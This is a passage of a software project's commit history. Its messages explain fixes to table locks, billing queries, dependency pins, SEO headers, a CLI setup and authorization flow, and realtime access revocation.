in the workspace tree and a dynamic layout, Link prefetch was yielding almost nothing and every navigation waited on a full server round trip with no feedback. Add loading.tsx only where the fallback is provably what renders today, so perceived speed improves without changing what users see: - home, chat/[chatId]: reuse HomeFallback, already each page's own Suspense fallback. - integrations, skills: reuse the tab-header chrome, byte-identical to each page's own Suspense fallback. Deliberately not added to workspace root, settings, or w, whose pages are redirect-only or already self-fallbacking — a boundary there would paint a skeleton that does not match the destination. Billing: - Add usage_log_billing_period_cost_idx, trailing the remaining predicate columns and `cost` so the period aggregates resolve index-only. Confirmed against production: the aggregate currently runs as an Index Scan touching 478,559 buffers because `cost` is absent from the existing index. That index is superseded but left in place; dropping it is a separate migration so a planner regression costs nothing to revert. - Collapse the two aggregates behind /api/billing into one scan using SUM(...) FILTER. Besides halving the work on a nav-path query, it removes a latent inconsistency: as separate statements the two sums could observe different snapshots, making the copilot subset exceed the total. Caching was considered and rejected for the usage aggregate. Its callers include usage enforcement, threshold billing, and overage calculation, where a stale-low read permits overspend and a stale-high read double-charges. * test(files): cover cleanupWorkflowAliasBacking and correct a stale share mock cleanupWorkflowAliasBacking had no test coverage, and the rewrite that replaced its load-everything-then-filter body rests on a subtle equivalence: a file's folderPath is derived solely from its folderId, and path resolution ignores deletedAt. The second half is the easy part to get wrong — a live file parented to an archived folder still resolves to a backing path and must still be archived, so folders are filtered by deletedAt only when choosing which folders to archive, never when deciding which files the workflow owns. These tests pin that distinction: they fail if the archived-folder case is dropped from file ownership, and separately assert that archived folders stay out of the folder update and that unrelated workflows are never touched. Also point the workspace files route test at getWorkspaceShares. Its mock still named getSharesForResources, which the route no longer imports. The suite passed regardless because all three cases exercise the upload path, so the GET listing has no coverage — but the stale name would have handed the first GET test an undefined function. * fix(perf): drop the loading boundaries and correct the usage_log index order Adversarial review found real regressions in both. Route loading boundaries — all four removed: The premise in their TSDoc was wrong. Each page's existing `<Suspense>` exists so nuqs can prerender; `useSearchParams` only suspends during SSR, so on a client navigation those fallbacks never painted. Hoisting them to loading.tsx did not "show the same frame" — it made a previously invisible blank frame visible. For chat, Next keys the Suspense boundary by cache key, so a chatId change mounts a fresh suspended boundary and always commits its fallback. Switching chats would have gone from "previous chat stays on screen" to a blank surface for the whole RSC round trip, on the highest-frequency navigation in the product. Partial prefetch only warms the fallback, so no latency was saved to offset it. The integrations and skills fallbacks were correct for their own pages but also became the fallback for four detail routes that render different chrome, inserting a wrong intermediate frame. Fixing that needs per-child boundaries and new skeleton UI that cannot be verified without a browser, for pages whose only server work is `await params`. Not worth it. Every remaining loading.tsx in this app paints real chrome. A blank one was against the grain, and the measurable win was zero. usage_log index: Column order was wrong. The daily-refresh rollup filters entity type, id and period_start but NOT period_end, so putting period_end fourth ended the usable prefix at column three and left user_id and created_at as in-index filters rather than scan boundaries — turning a ~2.2k-entry bitmap scan into a ~266k-entry scan. Verified in production that period_start functionally determines period_end (13,612 groups, zero with more than one end), so the slot bought no selectivity. user_id and created_at now follow the shared prefix; period_end rides as payload. Also corrected the claim that this supersedes usage_log_billing_entity_period_idx. That index deduplicates to 17 MB across 1.42M entries because it has no high-cardinality key column, which is what keeps prefix-only bitmap scans cheap. It is retained deliberately, not pending a drop. Harden cleanupWorkflowAliasBacking: gate the UPDATE on the ownership filter list itself. `and()` and `or()` both drop undefined, so a clause that resolved to nothing would have left a WHERE of workspace + context + not-deleted and archived every file in the workspace. Tests now assert no UPDATE is issued when the workflow owns nothing, plus the filename and context predicates. Note fetch_types also disables array serializers, not just parsers; documented. * docs(db): correct the fetch_types constraint note after differential testing Ran both settings against a real Postgres with the schema's actual text[] columns. Drizzle-typed selects and .returning() are byte-identical either way; only a raw db.execute projecting an array column differs, yielding the wire form. The previous note also claimed a raw JS-array bind fails because the serializers come from the same catalog fetch. It does fail — but under both settings, because Drizzle expands an array into a row constructor before postgres.js ever sees it. That is unrelated to this flag, so the claim is removed rather than left implying a constraint this change introduces. * chore(db): generate the drizzle snapshot for the usage_log index migration 0271 was hand-written, so drizzle-kit's state never learned about the new index — the next `generate` would have re-emitted it as a fresh migration against an already-migrated database. Ran `drizzle-kit generate` to produce the snapshot, then restored the CONCURRENTLY form: drizzle emits a plain CREATE INDEX, which takes an ACCESS EXCLUSIVE lock and would block writes on a 4M-row table for the duration of the build. The generated column order matched the hand-written SQL exactly, which also confirms schema.ts and the migration agree. `generate` is now a no-op, and check:migrations still passes. |
||
|
Theodore Li
|
e5ae4451fc |
improvement(tables): announce locks on open instead of a header chip (#5979)
* improvement(tables): announce locks on open instead of a header chip Drop the lock entry from the table header actions. A locked table now announces itself once on open via an info toast carrying the Lock settings action for admins; the breadcrumb dropdown remains the permanent entry point. * fix(tables): wait for permissions before announcing table locks The lock announcement fires once per table, so a canAdmin that is still false because permissions have not resolved permanently drops the toast's Lock settings action. Arm the one-shot on the permissions decision rather than on table resolution. * fix(tables): keep the lock announcement from being swept on navigation The toast provider clears route-scoped toasts in a pathname effect that runs after child effects, so an announcement fired on a warm-cache navigation was added and removed in the same commit. Opt these toasts out of the sweep and dismiss them on unmount so they still don't trail the user. * fix(tables): drop the lock notice when its action stops being valid A toast's action is captured at creation, so a viewer whose admin access is revoked while the announcement is on screen kept a Lock settings button that opened nothing. Dismiss the notice when the action is no longer available. * fix(tables): only drop the lock notice when access is actually lost The dismiss effect treated "has no access" the same as "just lost access", so on a warm-cache mount — where the announcement and the dismiss both run in the mount commit — a non-admin's notice was torn down the moment it was created. Dismiss on the true-to-false transition only. * fix(tables): clear the lock notice when switching tables Switching tables reuses this component rather than remounting it, and the notice is exempt from the provider's route sweep, so a locked table's announcement stayed on screen over the next table — where its action would have opened that table's lock settings instead. Key the cleanup on tableId. * fix(emcn): sweep route-scoped toasts during render, not after child effects The provider cleared route-scoped toasts from a pathname effect. Effects run child-first, so it also swept toasts the newly rendered route had just raised: any toast added from a child's mount effect — which is what happens whenever that child's data is already cached — was appended and filtered out in the same commit, before it painted. Move the sweep into render, where it runs before children render, so only toasts predating the navigation are cleared. Timers and heights were already reconciled by effects keyed off `toasts`, so this stays a pure state update. Drops the persistAcrossRoutes workaround the table lock notice needed to dodge the bug; its tableId-keyed cleanup stays, covering embedded swaps that change the prop without a route change. * fix(tables): reset the announce latch when leaving a table The tableId cleanup dismissed the notice on departure but left the latch holding that table's id, so returning before another table announced — a quick there-and-back, or a second table that never loaded — found the latch matching and stayed silent. Leaving ends the visit, so clear the latch with it. |
||
|
WaleedandWaleed Latif
|
a042f0bd0f |
chore(deps): fix OTel version split, drop dead deps, declare emcn peers (#5994)
* chore(deps): fix OTel version split, drop dead deps, declare emcn peers
- Pin @opentelemetry/{resources,sdk-metrics,sdk-trace-base,sdk-trace-node}
to exact 2.7.1 so they match sdk-node's pins instead of floating to 2.8.0.
The carets meant app code built spans with 2.8.0 and passed them into
NodeSDK from 2.7.1, which only worked by duck-typing.
- Declare the 13 packages @sim/emcn imports but never declared, as peers
mirrored into devDeps. @radix-ui/react-dismissable-layer had no
declaration anywhere in the repo and resolved only transitively.
- Remove ffmpeg-static: its binary downloads via postinstall, but it is not
in trustedDependencies and Docker installs with --ignore-scripts, so the
accessSync branch never succeeded and both call sites always fell through
to system ffmpeg.
- Remove critters + experimental.optimizeCss: Next only loads critters from
the Pages Router renderer, and apps/sim is App Router only.
- Make simstudio-ts-sdk zero-dependency by dropping node-fetch for native
fetch; engines >=18.
- Remove unused @vercel/og and postgres from docs, dotenv/inquirer/listr2
from the CLI, and yaml from the root.
- Move @aws-sdk/client-appconfig from the root to apps/sim, its only consumer.
- Delete the apps/sim overrides block; Bun only honors top-level overrides.
- Bump free-email-domains 1.2.25 -> 1.9.70 (4,779 -> 13,059 domains).
- Validate object/array variables with JSON.parse instead of JSON5, matching
what the executor actually parses.
- Swap the changelog GitHub icon off lucide to GithubOutlineIcon, matching
the navbar chip on the same page.
- Unify @types/node on 24.2.1 and lucide-react on ^0.511.0; bump chalk to 5
and image-size to 2.
* fix(deps): complete the OTel pin, restore SDK error detail, revert email list
Follow-ups from an independent audit of the previous commit.
- Pin @opentelemetry/sdk-node and the three otlp-http exporters to exact
0.217.0. Pinning only their four dependents was self-reversing: sdk-node
0.219.0 requires core 2.8.0 exactly, so the next update would have
silently rebuilt the split this PR removes.
- Declare @opentelemetry/core (2.7.1). It is imported by
lib/copilot/request/go/propagation.ts but resolved only by hoisting, and
it is the OTel package with the most version churn in the tree.
- Pin @radix-ui/react-dismissable-layer to exact 1.1.13 in @sim/emcn. All
five transitive parents pin it exactly; a caret would fork a second copy
on 1.1.14, which is the duplicate-context bug the declaration prevents.
- Surface error.cause in simstudio-ts-sdk. Native fetch reports network
failures as a bare "fetch failed" and puts the reason on cause, so every
DNS/TLS/refused error was reaching callers with no diagnostic content.
- Revert free-email-domains to 1.2.25. Upstream now merges the free-domain
list with two disposable-email blocklists, so 1.9.70 classifies real
organization domains as free — UK charities, some companies and
universities, and the JP/KR ISP domains APAC SMBs use for business mail.
The demo form blocks submission on that check, so a false positive costs
the booking entirely. Worth doing deliberately, not inside a deps change.
- Lower packages/cli engines to >=18. chalk 5 and commander 11 both accept
>=16 and the source uses no Node 20 API, so >=20 only produced EBADENGINE
for Node 18 users.
---------
Co-authored-by: Waleed Latif <waleed@simstudio.ai>
|
||
|
Waleed
|
23bc210bf8 |
fix(seo): noindex non-production sim.ai hosts, redirect indexed 404s (#5988)
* fix(seo): noindex non-production sim.ai hosts, redirect indexed 404s
Non-production deployments (dev.sim.ai, staging.sim.ai) serve the same
build as www.sim.ai and were fully crawlable. Send X-Robots-Tag noindex
for those hosts, and 301 seven marketing paths that an external SEO
audit found returning 404.
* fix(seo): parse only the first entry of a comma-joined forwarded host
A multi-value x-forwarded-host survives the port split intact, so
endsWith('.sim.ai') matched on the trailing entry and could apply
noindex to the canonical site. Normalize with the same
split(',')[0].trim() the rest of the repo uses for forwarded headers.
* fix(seo): drop the /security redirect, complete the urls test mock
security.txt advertises /security as its RFC 9116 Policy URI, so a
permanent redirect to marketing would mislead that link and shadow a
real policy page added later.
urlsMock is installed globally and documents itself as carrying every
real export, but was missing CANONICAL_SITE_HOST and
isNonCanonicalSimHost — any test loading proxy.ts would have called
undefined in track().
|
||
|
Theodore Li
|
334c7c81bc |
fix(security): suppress the CodeQL password-hash alert on sha256Hex (#5982)
CodeQL fails #5963 (the v0.7.46 release PR) with 2 high-severity js/insufficient-password-hash alerts on packages/security/src/hash.ts. Both are false positives that surfaced now because
|
||
|
Theodore Li
|
ae49070bea |
fix(slack): stop requesting the unapproved scopes, gate them behind an opt-in flag (#5977)
* fix(slack): stop requesting the unapproved mention/assistant/DM scopes * feat(slack): gate the approval-pending scopes behind an opt-in env flag |
||
|
Theodore Li
|
0dcbc56ef6 |
feat(tables): per-table mutation locks (schema/insert/update/delete) (#5960)
* feat(tables): per-table mutation locks (schema/insert/update/delete) Adds four independent, admin-only locks to a table so a workspace can make it append-only, read-only, or schema-frozen. Enforced at the lib/table service layer rather than the routes, so the API, workflow blocks, and Mothership (which calls the services directly) are all covered by one assert. Violations return 423; changing a lock requires workspace admin and returns 403. * fix(tables): address review — CI snapshot, lock-aware jobs, UI gating - Add the drizzle meta snapshot the hand-written migration was missing, which made CI regenerate the lock columns as a phantom 0271 - Stop a queued or retried delete/update job that starts after its lock is enabled; a run that has already committed pages still finishes, since pages are never rolled back and aborting would leave an uncancelled half-done state - Map TableLockedError to 423 on the internal single-row DELETE (was a 500) - Gate the lock settings UI behind NEXT_PUBLIC_TABLE_LOCKS so it can't open onto a Save that 403s against the server-side flag - Respect the delete lock on column drops in the grid, matching assertColumnDestructive, instead of failing only on click * fix(tables): close lock gaps in async import and undo/redo - Assert insert (and delete for replace) at the start of the import worker. Replace deleted every row before the first insert assert, so an insert-locked table was wiped and then failed, leaving it empty. - Run the delete/update worker start checks through assertRowDelete / assertRowUpdate instead of reading the lock flags directly, so the worker and its enqueue site apply identical rules — including the workflow-column exemption a bulk update was being cancelled despite. - Make undo/redo verb mapping direction-aware for column ops: dropping or retyping a column needs the delete lock clear too, matching assertColumnDestructive, so those steps are skipped instead of stranded. * fix(tables): stop locks over-blocking workflow runs, duplicate, and imports - Run / Re-run / Stop no longer inherit the cell-edit gate: they write only workflow-output columns (which the update lock exempts) and Stop is a cancel - Duplicate needs only the insert lock — it inserts a full copied row, so it stays available on an append-only table - updateWorkflowGroup asserts the destructive rule only when a patch actually drops or remaps output columns; rename / autoRun / mapping edits need just the schema lock - Gate the import-async enqueue on insert (and delete for replace) so a locked table 423s instead of claiming the write-job slot and failing in the worker - Disable Import CSV under an insert lock, and wire the expanded cell editor and the previously-unused stable add-row handler to the lock-aware flags * fix(tables): keep column menu usable and let locks always be cleared - Pass the blocked-delete handler instead of undefined so ColumnOptionsMenu still mounts on a delete-locked table; withholding it hid the entire menu, including Insert column, which the delete lock must not affect - Restore ColumnHeaderMenu readOnly to permission-only: it swaps the header for a static label, which was also disabling pin, column-select and open-config - Assert the schema lock at the import-async enqueue when createColumns is set - Allow a locks PATCH that only clears locks even when the feature flag is off, and keep the settings entry reachable on a locked table, so flipping the kill switch can't strand a table with locks nobody can remove * fix(tables): scope the update-lock exemption and re-check locks per page - Make the workflow-output carve-out opt-in via `computedWrite`, set only by the cell-write path. It was caller-agnostic, so an ordinary API caller could PATCH a workflow-output column on an update-locked table - Re-read the lock before every page in the delete and update runners. The single worker-start check went stale immediately, so enabling a lock could not stop a job already deleting or overwriting rows. Committed pages still stay committed, exactly as with an explicit cancel. Import keeps its one-shot check: a half-imported table needs the deletes the lock now forbids - Route Insert column to the locked-action modal under a schema lock instead of leaving it live (regular header) or hiding the whole menu (group header) * fix(tables): revalidate locks in-transaction and unbreak backfill + partial unlock - Re-assert the lock inside each page-write transaction, under the same advisory lock updateTableLocks takes, so check-then-write is atomic against a lock change. The per-page check alone still left the page-selection await between the assert and the write - Pass computedWrite from the backfill runner: batchUpdateRows is the workflow-output backfill path, so scoping the exemption had made rebuilding outputs 423 on an update-locked table while live cell writes still worked - Gate the feature flag on a lock actually going off->on rather than on an all-false payload. The settings UI always submits all four flags, so with the flag off an admin could not clear one lock while another stayed on - Hoist the lock-kind -> flag map to lib/table/types as TABLE_LOCK_FLAGS * fix(tables): guard import batches in-transaction and split paste by verb - Re-assert the insert lock inside each import batch's insert transaction, under the same advisory lock updateTableLocks takes. Reversing the earlier "let the file finish" call: an admin can lift the lock to clean up a partial import, so honouring it beats letting the rest of the file land - Gate paste per verb. Overwriting existing rows is an update and extending past the last row is a full-row insert, so a paste-append still works on an append-only table while an overwrite explains itself. Refuses the whole paste rather than applying half of it - Space opens the same row editor as double-click, so it now follows the update lock instead of filling in a form that 423s on save * fix(tables): guard the remaining import writes and explain blocked Shift+Enter - Route the replace-mode wipe, the inferred-schema write and createColumns through the same guardBatch transaction as the batch inserts, so a delete or schema lock committed while the file is downloading or being sampled is seen instead of the job-start snapshot - Shift+Enter takes the manual-add path, so it now opens the lock modal like the Add row button instead of returning silently * improvement(tables): surface blocked lock actions as a toast, not a modal - Replace TableLockedModal with a warning toast carrying a "Lock settings" action button for admins. Being told you can't edit shouldn't cost a dismiss click, and the button still routes admins straight to the panel - Dedupe by id so repeated attempts on a locked cell replace one notice instead of stacking a column of them - Move the copy into lock-copy.ts alongside the rest of the lock vocabulary and tighten it for toast length * fix(tables): don't show the update-lock notice to users without write access Double-click checked the update lock before any permission check, so a read-only member on a locked table got "Editing rows is locked" — misleading (the lock isn't why they can't edit) and it swallowed the expanded-cell viewer, which is a legitimate read-only affordance. * improvement(tables): trim the update-lock toast copy * fix(tables): map append-import locks to 423 and stop conflating locks with permissions - The sync append branch returns instead of rethrowing, so the outer catch's mapper never saw a TableLockedError and every lock violation became a 500. Map it in that catch, with a regression test (replace mode already rethrows) - Stop mounting the workflow-group column menu for users without edit access: passing the blocked handlers unconditionally made it appear for read-only members and report a lock even on an unlocked table - Enter/F2 now raises the same lock notice as double-click and Space instead of silently doing nothing - guardBatch returns the freshly-read definition so addTableColumnsWithTx asserts live state; a schema lock cleared mid-import no longer fails the createColumns step. The snapshot pre-asserts now only run as the fallback for callers that pass no revalidator - Append-only no longer labels a table whose schema is also locked, which claimed columns were mutable when they weren't - Import dialog withholds Replace on a delete-locked table and create-column on a schema-locked one, instead of offering a configuration that only 423s * fix(tables): revalidate sync imports under the advisory lock, explain every blocked key - The sync append/replace paths asserted only the request-start snapshot, so a lock committed while the CSV was parsed still let the write through. Both now re-read under the schema advisory lock at the top of their own transaction, taken before acquireRowOrderLock so the order stays advisory -> rows_pos -> definitions - Delete/Backspace, Cmd+D, typeahead and cut raised no notice on an update-locked table; they now explain the lock, and stay silent for users without write access - The multipart import fetch threw a plain Error, dropping the 423 status, so the lock self-heal never ran and the stale detail cache survived. It throws ApiClientError now and both import-into-table hooks call handleTableLockRejection - Force append at submit when the delete lock landed while the dialog was open with Replace already selected * fix(tables): restore the workspace ownership check on copilot row deletes Switching deleteRow/deleteRowsByIds to take a TableDefinition dropped the workspaceId argument that previously scoped the query, and the two branches I added loaded the table without the ownership comparison every other operation in the tool performs — letting a caller delete rows from a table in another workspace. Both now reject a foreign table as not found. |
||
|
Theodore Li
|
19c3b6f47d |
feat(setup): setup wizard with browser-based Chat key handoff (#5911)
* feat(setup): setup wizard with browser-based Chat key handoff
Adds `bun run setup` and `bun run doctor` for local installs, and replaces
the wizard's paste-your-Chat-key step with a browser handoff that never puts
the key in a URL.
* improvement(setup): drop the paste-a-key fallback, simplify consent copy
The browser handoff is now the only path — the wizard waits on a spinner
instead of racing a paste prompt. Consent card leads with "Connect your
terminal" and moves the match-the-code disclaimer into the description.
* fix(setup): pin kube context, keep secrets out of argv, validate reused keys
Review findings from #5911:
- helm/kubectl now run against the validated context instead of the ambient one
- helm values are piped on stdin rather than passed as --set arguments
- ENCRYPTION_KEY/API_ENCRYPTION_KEY are checked for the 64-hex format the app
requires, not just length, so an unusable key is replaced rather than kept
- the managed Redis container's published port is read back instead of assumed
* refactor(copilot): one module for Chat API key operations
list/generate/delete each repeated the same /api/validate-key envelope in
their route. They now share callValidateKey in lib/copilot/server/api-keys.ts,
which also keeps the display masking server-side so the full key can only ever
leave at creation.
* improvement(setup): reuse shared helpers, parallelize probes, drop dead code
- PKCE verifier/state/pairing code now use generateSecureToken, generateRandomHex
and generateShortId instead of hand-rolled randomBytes; the pairing loop's
modulo was unbiased only because 256 % 32 == 0
- new sha256Base64Url in @sim/security/hash so both sides of the PKCE exchange
derive the challenge from one implementation
- isUsableSecret moved beside SECRET_KEYS so setup and doctor apply the same
rule; doctor previously passed a key setup would replace
- isTruthy narrowed to true/1, matching the app it claims to mirror — it accepted
yes/on, so a flag could read on in doctor and off in the app
- checkLive runs its five probes concurrently (~17s serial worst case)
- detection overlaps the banner animation instead of queueing behind it
- glyph.fail/glyph.warn at 13 sites that bypassed the constant; removed unused
prompter exports, a dead ENV_PATHS re-export, and an unused export keyword
* fix(setup): make doctor understand the compose env layout
Compose writes a single root .env (what docker-compose reads via env_file) but
the checks required the three per-app files, so a successful compose install was
followed by doctor printing three failures and exiting 1 — and the whole
coherence catalog was skipped because it keyed off apps/sim/.env existing.
Layout is now derived from what's on disk and every check consults it: file and
schema checks iterate the layout's targets, consistency reports skip when
there's only one file to mirror, and coherence/live read the layout's primary
file. The wizard's existing-config detection counts root for the same reason —
a compose install used to read as unconfigured and re-run from scratch.
* feat(cli-auth): device-authorization poll flow, drop the loopback listener
The CLI no longer binds a local port. It generates a request id + poll secret,
opens /cli/auth, and polls /api/cli/auth/poll over TLS while the user approves
in the browser — so the flow works over SSH and inside containers, where the
browser and terminal don't share a machine.
- approve stores the approval keyed by request id (session-authed, userId from
the session only); poll verifies the secret before an atomic claim, so an
observer of the semi-public request id can neither mint nor cancel it
- pairing code stays as the anti-phishing compare; no key ever crosses the
browser; done page just confirms
- removes the loopback listener, /token exchange, buildCliHandoffUrl, and
validateCliCallbackUrl (+ its tests) — nothing hands a key to a URL anymore
* fix(setup): reuse an existing managed Postgres container instead of colliding
A running sim-postgres fell through to `docker run --name sim-postgres` and died
on the name conflict; a stopped one failed with "no DATABASE_URL to reach it"
because the generated password only lived in the env files a fresh clone lacks.
Both facts are recoverable from Docker: the ladder now reads the published port
and password back via `docker inspect` and reuses the container (starting it if
stopped). A container that won't answer prompts before recreating, and never
drops the data volume silently.
* improvement(setup): audience-first run-mode hints
Each run mode now names who it's for — compose for self-hosting/evaluating, dev
for contributing to Sim, k8s for rehearsing a production deploy — with the live
detection state (Docker/kube/VM) appended.
* fix(cli-auth): retry a failed mint, port container/port fixes to Redis + k8s
Review findings from #5911:
- poll now reserves the mint with an atomic NX lock instead of deleting the
approval up front, so a failed mint (e.g. mothership blip) is retried by the
next poll instead of forcing a fresh browser approval; the lock still prevents
a double-mint and its TTL frees the slot if the caller dies
- setup reuses/recreates an unhealthy managed sim-redis instead of colliding on
the name (Redis has no data volume, so it removes and recreates without a prompt)
- k8s failure-path hints carry --context, matching the success-path hints, so a
changed ambient context can't send diagnostics to the wrong cluster
- compose port-free waits for a killed port to actually release before
re-checking; SIGKILL is async, so the immediate re-check re-saw the port
* fix(setup): harden mint cleanup, Windows browser, container detection, helm cwd
Review findings from #5911:
- a post-mint completeApproval failure no longer routes into releaseMint — the
mint lock now outlives the approval (shared TTL), so a cleanup blip can't leave
a re-mintable window and orphan a key; cleanup is best-effort after the key ships
- compose doctor --fix writes the feature-flag twin to the layout's primary env
(root .env on a compose install), not always apps/sim/.env
- Windows opens the browser via `cmd /c start "" <url>` — `start` is a shell
builtin, so spawning it directly ENOENT'd and the handoff never opened
- managed-container detection filters loosely and pins the exact name in code;
Docker's `name=^x$` anchor matches the internal `/x` form and often missed,
skipping the reuse branch
- the shared helm/kind run helper pins cwd to the repo root, matching helm test,
so `helm upgrade --install ./helm/sim` works from any working directory
* feat(chat-keys): standalone manage page, drop from settings nav, refresh README
- Add /account/settings/chat-keys — a linkable page to view, create, and revoke Chat API keys
- Remove Chat keys from the settings sidebar (account + unified nav) and its render branches
- README: replace Docker Compose + Manual Setup with the bun run setup wizard; drop the manual COPILOT_API_KEY step, point to the manage page
* fix(setup): per-key reason in the secret-replacement warning
Cursor: the warn hardcoded '64-character hex key', but only ENCRYPTION_KEY/API_ENCRYPTION_KEY require that — BETTER_AUTH_SECRET/INTERNAL_API_SECRET only need length >= 32. Use the existing secretRequirement(key) helper so each replaced key reports its actual requirement.
* fix(setup): compose doctor schema, cross-platform binary detection, quoted context hints
- Doctor: for the compose (root) env layout, require only the secrets compose has no interpolation default for (BETTER_AUTH_SECRET/ENCRYPTION_KEY/INTERNAL_API_SECRET). DATABASE_URL/BETTER_AUTH_URL/NEXT_PUBLIC_APP_URL come from docker-compose ${VAR:-default}, so a healthy compose install no longer fails doctor.
- Binary detection: use Bun.which instead of which (which is absent on Windows), so kubectl/helm/kind/docker resolve cross-platform.
- k8s diagnostic hints: POSIX-quote the kube-context so a context with whitespace/metacharacters can't break or inject into a copied command.
* fix(setup): quote kube-context in the helm uninstall tear-down hint too
The tear-down hint used --kube-context ${context} raw while the sibling kubectl hints already used shq(); a context with whitespace/metacharacters could break or inject into the copied command. All copyable k8s hints now go through shq(context).
* feat(setup): sim lifecycle CLI — start/stop/status/logs/down/reset
Turn the setup entry into a 'sim' command umbrella so there's one place to run everything, not scattered docker/bun commands. Adds a global bin (bun link) + a bun run sim fallback.
- Detects how you're running (compose file / managed dev containers / helm release) from disk + docker/helm state — no persisted mode. Ambiguous installs prompt.
- start/stop/restart/logs work per mode; down removes containers (volumes kept); reset archives .env + wipes managed data; both destructive verbs confirm first.
- status shows detected mode, container states, and app/realtime health.
- Wizard outro + README now point at the sim commands and the one-time bun link.
* feat(setup): 'bun run sim' is the primary entry; bare invocation prints help
- Lead usage/wizard-outro/README with 'bun run sim <cmd>' (works with zero PATH setup); global bare 'sim' via bun link is an optional upgrade, with the ~/.bun/bin PATH caveat spelled out (Homebrew's bun omits it).
- Bare 'sim' now prints help instead of launching the wizard; the wizard is 'sim setup'. The 'setup' npm script passes the keyword so 'bun run setup' is unchanged.
* fix(setup): quote the auth URL for cmd /c start on Windows
Cursor (High): cmd re-parses the command line and treats & in the query string as a command separator, so cmd /c start opened a URL truncated at the first &, breaking the key flow on win32 (the handoff URL always has request/challenge/pairing). Quote the URL and pass args verbatim so & stays literal.
* fix(setup): verify kube-context is really local; lengthen CLI handoff wait
- k8s: a context named like a local cluster (kind-*, docker-desktop) can actually point at a remote API server. Verify the server host is loopback/docker-internal before defaulting the 'use this context?' confirm to yes; otherwise warn and default to no, so generated secrets can't ship to a remote cluster on a blind Enter.
- cli-auth: bump the device-flow wait from 3 to 15 minutes so first-time users have time to sign up, wait for the email OTP, and approve before the terminal stops polling. The server-side approval record keeps its own short TTL, so a longer client wait only costs cheap rate-limited polls.
* fix(setup): only manage k8s lifecycle on a verified-local context
Greptile: sim down/reset used the ambient kube-context, so switching context after setup could uninstall a same-named sim-dev release from the wrong cluster. Gate k8sInstall on the same locality check the wizard uses (API server is loopback/docker-internal) via a shared isLocalKubeContext helper — the wizard only ever deploys locally, so a remote current-context is never treated as a Sim install.
* fix(setup): doctor skips placeholder secrets when seeding; reset names its target
- checks: the missing-file autofix copied shared keys from apps/sim/.env whenever truthy, including .env.example placeholders — doctor --fix could seed unusable secrets into realtime/db env files. Skip placeholders, matching autofixForMissing.
- lifecycle: reset now names the exact install (k8s context / compose file / dev containers) in its confirm, so a destructive reset can't silently hit the wrong same-named install after a context switch (down already names the context).
* fix(cli-auth): size the poll rate limit to the poll cadence; honor Retry-After
The poll route used the default public-IP bucket (10 burst, 5/min) but the CLI polls every 2s (30/min), so it 429'd within ~20s — worse behind a slow dev cold-compile. Give the endpoint a bucket matched to its cadence (60 burst, 60/min); it's not a brute-force surface (unknown request id returns pending, minting needs the 256-bit verifier). Also make the CLI honor Retry-After and back off on 429 so a shared-NAT per-IP limit degrades gracefully instead of hammering.
* fix(setup): check ports before starting the dev server, not just compose
Local dev auto-start spawned bun run dev:full with no port check, so it silently started a server that couldn't bind when 3000/3002 were already taken (e.g. another worktree's dev server). Extract compose's port-conflict resolver into a shared ensurePortsFree(ports) and run it before the dev start too — kill/recheck/leave, same as compose. Leaving the ports skips the auto-start with guidance instead of failing; compose still treats it as fatal.
* fix(setup): verify the kube cluster is reachable, not just local
A kubeconfig context can outlive its cluster — a kind cluster gets deleted or its Docker container stops (Docker/machine restart), but the context entry remains, pointing at a dead API-server port. The wizard checked the context looked local and handed it to helm, which failed with 'cluster unreachable'.
Add a clusterReachable() liveness probe: only offer the current context when it actually answers; if a local context is dead, fall through to the kind path. There, if kind still knows 'sim' but it's stopped, start its node containers and wait for the API; if it's gone, create fresh. Either way the user gets a working cluster instead of a cryptic helm failure.
* fix(helm): point appVersion at published image tags (v-prefixed, current)
The chart's appVersion was "0.6.73", but CI publishes GHCR tags with a v prefix (its release-commit regex captures v0.7.45). Since sim.image defaults every image tag to Chart.AppVersion, a default helm install requested ghcr.io/simstudioai/{simstudio,realtime,migrations}:0.6.73 — a tag that has never existed — so app and realtime sat in ImagePullBackOff and helm --wait failed with 'progress deadline exceeded'. Any self-hoster installing with default values hit this, not just the setup wizard.
Set appVersion to v0.7.45 (latest release on main; all three images verified present on ghcr) and bump the chart version to 1.1.1. Verified with helm lint, helm template (all images render as v0.7.45), and a live helm upgrade on a kind cluster where the new pods pull successfully while the old 0.6.73 pods remain in ImagePullBackOff.
* Revert "fix(helm): point appVersion at published image tags (v-prefixed, current)"
This reverts commit
|
||
|
Vikhyath Mondreti
|
8a2ae25d78 | improvement(agent-streaming): add way to opt in for workflow executions (#5956) | ||
|
Vikhyath MondretiandClaude Fable 5
|
f43b52c569 |
fix(realtime): evict revoked collaborators from live workflow rooms (#5917)
* fix(realtime): evict revoked collaborators from live workflow rooms via periodic read-access re-validation * fix * fix(realtime): close join/eviction race and make sweep cleanups independent Re-authorize immediately before socket.join so an in-flight join cannot reverse a sweep eviction, and run the sweep's best-effort cleanups independently so a room-state failure cannot skip the presence broadcast. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(realtime): single-flight role resolution and retry failed eviction cleanup Coalesce concurrent role resolutions per (user, workflow) so a slow stale read can never overwrite a recorded revocation, and defer failed eviction room-state cleanups into a per-sweep retry queue so collaborators are not left with a stale presence entry. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(realtime): scope room removal to the target workflow and detect swallowed cleanup failures Honor the workflowIdHint as the target room in both room managers so removing a stale room cannot clobber the mapping of a room the socket has since moved to, and confirm eviction cleanup via the returned workflowId plus an unswallowed mapping read so Redis failures actually defer into the retry queue. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(realtime): treat unconfirmed removals as failures and refresh role cache on fresh verify Treat any null removal result as a failed cleanup (the sweep always passes the target room, so null only means failure — including with expired mapping keys), move the same-room rejoin guard to a synchronous check immediately before the removal, and record verifyWorkflowAccess's fresh decision into the role cache so a re-granted user is not blocked by a stale cached revocation. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(realtime): prefer a mid-flight recorded role decision over the in-flight query result If a fresh authoritative read (join-time verify) records a decision while a single-flighted resolution's query is in flight, keep the recorded decision instead of overwriting it with the potentially stale result. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(realtime): isolate the security scan from the Redis cleanup lane Run the revocation scan (local sockets + DB only) and the best-effort room-state cleanup as independently-guarded lanes so a hanging Redis command can stall only presence cleanup, never revocation enforcement. Evictions now enqueue cleanup instead of awaiting it, and the scan no longer reads presence for a fallback role. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(realtime): bound authorization waits in the revocation scan Race each socket's authorization check against a per-socket timeout and cap the whole pass with a budget below the 